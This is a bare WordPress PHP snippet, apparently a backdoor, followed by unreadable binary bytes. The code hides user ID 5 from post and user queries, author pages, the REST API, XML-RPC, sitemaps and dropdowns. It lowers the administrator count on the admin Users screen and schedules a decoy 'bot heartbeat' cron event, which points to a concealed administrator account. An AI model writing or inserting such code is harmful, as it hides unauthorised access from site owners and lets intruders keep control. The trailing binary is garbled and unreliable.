add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 5;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 5 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 5;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 5;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
՝Ko#Irϻy VD>*Y`XTI["$=o>go8"Tw(%a__eeF;/fZ.|uXݟa|L.~Zl[vv]_̞/b㲻x/Å{߅wxZϺbusSح/nvfqX-/~j{zZ^8pՅi)z |ܓubݶe{uwwwj^M6wxq2_-r{xtXnb9Y-ɦ[Mj?;xZovy?}n+7V۫~+x|-Wuj>H/.ouO/sv}X]+9jo~?]?'ϛeis P0"/JnB=`
P{;GS&ܵsЫoFpPsCDh1MbF7mnOߌkO4F1Ta1܁UA&yRO!q;_CRq<錸!&pnHSHBr> XO*N%!4m#bTo"=A7)덨Z=GUza5zUzVS7F
Hߵql sǠ{lU!V*j
a
6
(7qipVzl>8KHrm
сW'{hfȢ6ҜK [u~[HYN%ODLj4A>y4{{6HHV
9E+O$
4~~F~GL>E<<"9hNn^(FULAOۗ`##@%_E=Qs;z
njn=Y?t4WQG&nz/"(sSYo2ҜCzCzY
U{ICQq#F9Da=Q!;R!iqX;o4N`{4#y4չ{UYv*s>Fn Bb7DRmp}Y~`sxd9(/~d6G=
X-C=7X;
{#zJ|06v1h8I禫GO
8r3މ_aQs;/AOs,OX?Ϧ憊E>ťAq)>0N?ѯZ|nd/rRE+Xou݇Rଠh
@Jmua Zsa
l
-6"(
BÎ͒4Bx65+(##znO恝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